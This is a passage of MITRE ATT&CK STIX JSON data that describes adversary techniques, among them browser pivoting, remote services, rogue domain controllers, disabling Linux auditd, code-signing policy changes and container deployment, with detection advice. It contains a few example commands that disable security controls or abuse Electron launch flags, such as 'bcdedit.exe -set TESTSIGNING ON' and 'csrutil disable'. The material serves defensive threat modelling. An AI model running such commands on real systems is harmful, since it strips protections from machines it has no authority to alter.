            "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Justin Warner, ICEBRG"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Process: Process Modification",
                "Process: Process Access",
                "Logon Session: Logon Session Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
            "created": "2017-05-31T21:30:29.858Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021",
                    "external_id": "T1021"
                },
                {
                    "source_name": "Apple Remote Desktop Admin Guide 3.3",
                    "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.",
                    "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf"
                },
                {
                    "source_name": "Remote Management MDM macOS",
                    "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.",
                    "url": "https://support.apple.com/en-us/HT209161"
                },
                {
                    "source_name": "Kickstart Apple Remote Desktop commands",
                    "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.",
                    "url": "https://support.apple.com/en-us/HT201710"
                },
                {
                    "source_name": "Lockboxx ARD 2019",
                    "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.",
                    "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"
                },
                {
                    "source_name": "FireEye 2019 Apple Remote Desktop",
                    "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html"
                },
                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                },
                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
                },
                {
                    "source_name": "SSH Secure Shell",
                    "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.",
                    "url": "https://www.ssh.com/ssh"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:32.234Z",
            "name": "Remote Services",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Dan Borges, @1njection"
            ],
            "x_mitre_deprecated": false,
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                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Azure AD Connect for Read Teamers",
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                    "source_name": "AADInternals Azure AD On-Prem to Cloud",
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                    "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.",
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                    "source_name": "Mandiant Azure AD Backdoors",
                    "description": "Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.",
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                    "url": "https://attack.mitre.org/techniques/T1059/009",
                    "external_id": "T1059.009"
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                    "source_name": "Microsoft - Azure PowerShell",
                    "description": "Microsoft. (2014, December 12). Azure/azure-powershell. Retrieved March 24, 2023.",
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            "name": "Cloud API",
            "description": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).  \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.  ",
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                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
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                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
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                    "source_name": "Medium SSL Cert",
                    "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
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                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
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                {
                    "source_name": "Shodan",
                    "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
                    "url": "https://shodan.io"
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                    "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
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                {
                    "source_name": "DigitalShadows CDN",
                    "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
                    "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
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            "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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                    "description": "Alanna Titterington. (2023, September 14). Security of Electron-based desktop applications. Retrieved March 7, 2024.",
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                    "source_name": "Electron Security",
                    "description": "ElectronJS.org. (n.d.). Retrieved March 7, 2024.",
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                    "source_name": "Electron 6-8",
                    "description": "Kosayev, U. (2023, June 15). One Electron to Rule Them All. Retrieved March 7, 2024.",
                    "url": "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf"
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                    "source_name": "Electron 1",
                    "description": "TOM ABAI. (2023, August 10). There\u2019s a New Stealer Variant in Town, and It\u2019s Using Electron to Stay Fully Undetected. Retrieved March 7, 2024.",
                    "url": "https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/"
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                {
                    "source_name": "Electron 2",
                    "description": "Trend Micro. (2023, June 6). Abusing Electronbased applications in targeted attacks. Retrieved March 7, 2024.",
                    "url": "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf"
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            "name": "Electron Applications",
            "description": "Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).(Citation: Electron 6-8)\n\nAdversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054",
            "created": "2023-05-24T19:03:03.855Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/012",
                    "external_id": "T1562.012"
                },
                {
                    "source_name": "IzyKnows auditd threat detection 2022",
                    "description": "IzySec. (2022, January 26). Linux auditd for Threat Detection. Retrieved September 29, 2023.",
                    "url": "https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505"
                },
                {
                    "source_name": "Red Hat System Auditing",
                    "description": "Jahoda, M. et al.. (2017, March 14). Red Hat  Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
                },
                {
                    "source_name": "ESET Ebury Feb 2014",
                    "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
                },
                {
                    "source_name": "Trustwave Honeypot SkidMap 2023",
                    "description": "Radoslaw Zdonczyk. (2023, July 30). Honeypot Recon: New Variant of SkidMap Targeting Redis. Retrieved September 29, 2023.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:20:10.121Z",
            "name": "Disable or Modify Linux Audit System",
            "description": "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tim (Wadhwa-)Brown"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "File: File Modification",
                "Command: Command Execution",
                "File: File Deletion",
                "Process: Process Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1207",
                    "external_id": "T1207"
                },
                {
                    "source_name": "DCShadow Blog",
                    "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
                    "url": "https://www.dcshadow.com/"
                },
                {
                    "source_name": "Adsecurity Mimikatz Guide",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?page_id=1821"
                },
                {
                    "source_name": "GitHub DCSYNCMonitor",
                    "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.",
                    "url": "https://github.com/shellster/DCSYNCMonitor"
                },
                {
                    "source_name": "Microsoft DirSync",
                    "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx"
                },
                {
                    "source_name": "ADDSecurity DCShadow Feb 2018",
                    "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.",
                    "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
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            "modified": "2025-04-25T15:15:34.258Z",
            "name": "Rogue Domain Controller",
            "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",
            "kill_chain_phases": [
                {
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                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Network Traffic: Network Traffic Content",
                "User Account: User Account Authentication",
                "Active Directory: Active Directory Object Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "created": "2021-04-23T01:04:57.161Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/006",
                    "external_id": "T1553.006"
                },
                {
                    "source_name": "Apple Disable SIP",
                    "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.",
                    "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection"
                },
                {
                    "source_name": "F-Secure BlackEnergy 2014",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"
                },
                {
                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210920172620/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html"
                },
                {
                    "source_name": "Microsoft Unsigned Driver Apr 2017",
                    "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test"
                },
                {
                    "source_name": "Microsoft DSE June 2017",
                    "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft TESTSIGNING Feb 2021",
                    "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option"
                },
                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
                },
                {
                    "source_name": "GitHub Turla Driver Loader",
                    "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.",
                    "url": "https://github.com/hfiref0x/TDL"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:33.055Z",
            "name": "Code Signing Policy Modification",
            "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Abel Morales, Exabeam"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as <code>bcdedit.exe -set TESTSIGNING ON</code>.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as <code>HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing</code>. Modifications to the code signing policy of a system are likely to be rare.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
            "created": "2021-03-29T16:51:26.020Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1610",
                    "external_id": "T1610"
                },
                {
                    "source_name": "AppSecco Kubernetes Namespace Breakout 2020",
                    "description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.",
                    "url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"
                },
                {
                    "source_name": "Aqua Build Images on Hosts",
                    "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
                    "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
                },
                {
                    "source_name": "Docker Containers API",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container"
                },
                {
                    "source_name": "Kubernetes Workload Management",
                    "description": "Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/"
                },
                {
                    "source_name": "Kubeflow Pipelines",
                    "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.",
                    "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/"
                },
                {
                    "source_name": "Kubernetes Dashboard",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-15T19:58:33.230Z",
            "name": "Deploy Container",
            "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
